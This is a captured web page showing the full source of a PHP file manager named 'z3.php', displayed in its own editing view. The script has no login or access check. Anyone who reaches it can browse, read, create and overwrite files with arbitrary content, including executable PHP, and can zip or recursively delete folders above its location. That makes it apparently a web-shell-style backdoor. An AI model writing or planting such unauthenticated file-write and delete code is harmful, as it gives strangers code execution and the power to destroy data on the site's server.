File Manager
Editing: z3.php
<?php $base = realpath(dirname(__DIR__, 2)); function deleteFolder($dir) { if (!is_dir($dir)) return; foreach (scandir($dir) as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; is_dir($path) ? deleteFolder($path) : unlink($path); } rmdir($dir); } function zipFolder($source, $destination) { $zip = new ZipArchive(); if ($zip->open($destination, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { return false; } $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS) ); foreach ($files as $file) { if ($file->isDir()) continue; $filePath = $file->getRealPath(); $relative = substr($filePath, strlen($source) + 1); $zip->addFile($filePath, $relative); } $zip->close(); return true; } /* |-------------------------------------------------------------------------- | SAVE / CREATE FILE |-------------------------------------------------------------------------- */ if (isset($_POST['save_file'])) { $dir = $_POST['dir'] ?? ''; $filename = $_POST['filename'] ?? ''; $content = $_POST['content'] ?? ''; $currentPath = realpath($base . '/' . $dir); if ($currentPath === false || strpos($currentPath, $base) !== 0) { die("Invalid path"); } $filePath = $currentPath . '/' . basename($filename); file_put_contents($filePath, $content); header("Location: ?dir=" . urlencode($dir)); exit; } /* |-------------------------------------------------------------------------- | ZIP / DELETE ACTIONS |-------------------------------------------------------------------------- */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { $folder = $_POST['folder'] ?? ''; $action = $_POST['action']; $folderPath = realpath($base . '/' . $folder); if ($folderPath === false || strpos($folderPath, $base) !== 0) { die("Invalid folder"); } if ($action === 'zip') { zipFolder($folderPath, $folderPath . '.zip'); } if ($action === 'delete') { deleteFolder($folderPath); } header("Location: " . $_SERVER['PHP_SELF'] . "?dir=" . urlencode($_GET['dir'] ?? '')); exit; } /* |-------------------------------------------------------------------------- | VIEW SETTINGS |-------------------------------------------------------------------------- */ $dir = $_GET['dir'] ?? ''; $file = $_GET['file'] ?? ''; $currentPath = realpath($base . '/' . $dir); if ($currentPath === false || strpos($currentPath, $base) !== 0) { die("Access denied"); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>File Manager</title> <style> body { font-family: Arial; margin: 20px; } ul { list-style: none; padding: 0; } li { margin: 8px 0; } pre, textarea { width: 100%; background: #111; color: #0f0; padding: 10px; } textarea { height: 200px; } button { margin: 2px; } </style> </head> <body> <h2>File Manager</h2> <?php /* |-------------------------------------------------------------------------- | FILE VIEW / EDIT |-------------------------------------------------------------------------- */ if ($file) { $filePath = realpath($currentPath . '/' . $file); if ($filePath === false || strpos($filePath, $base) !== 0) { die("Invalid file"); } $content = file_get_contents($filePath); echo "<h3>Editing: " . htmlspecialchars($file) . "</h3>"; echo " <form method='post'> <input type='hidden' name='dir' value='" . htmlspecialchars($dir) . "'> <input type='text' name='filename' value='" . htmlspecialchars($file) . "'> <textarea name='content'>" . htmlspecialchars($content) . "</textarea> <button type='submit' name='save_file'>💾 Save</button> </form>"; echo "<p><a href='?dir=" . urlencode($dir) . "'>⬅ Back</a></p>"; exit; } /* |-------------------------------------------------------------------------- | CREATE NEW FILE FORM |-------------------------------------------------------------------------- */ echo "<h3>Directory: " . htmlspecialchars($dir ?: '/') . "</h3>"; echo " <h4>Create New File</h4> <form method='post'> <input type='hidden' name='dir' value='" . htmlspecialchars($dir) . "'> <input type='text' name='filename' placeholder='filename.txt' required> <br><br> <textarea name='content' placeholder='file content...'></textarea> <br> <button type='submit' name='save_file'>➕ Create File</button> </form> <hr> "; /* |-------------------------------------------------------------------------- | DIRECTORY LIST |-------------------------------------------------------------------------- */ echo "<ul>"; if ($dir !== '') { $parent = dirname($dir); if ($parent === '.') $parent = ''; echo "<li><a href='?dir=" . urlencode($parent) . "'>⬅ Back</a></li>"; } foreach (scandir($currentPath) as $f) { if ($f === '.' || $f === '..') continue; $full = $currentPath . '/' . $f; $relative = trim($dir . '/' . $f, '/'); if (is_dir($full)) { echo "<li> 📁 <a href='?dir=" . urlencode($relative) . "'>$f/</a> <form method='post' style='display:inline'> <input type='hidden' name='folder' value='" . htmlspecialchars($relative, ENT_QUOTES) . "'> <button name='action' value='zip'>📦 Zip</button> <button name='action' value='delete' onclick=\"return confirm('Delete folder?')\">🗑 Delete</button> </form> </li>"; } else { echo "<li>📄 <a href='?dir=" . urlencode($dir) . "&file=" . urlencode($f) . "'>$f</a> </li>"; } } echo "</ul>"; ?> </body> </html>
💾 Save
⬅ Back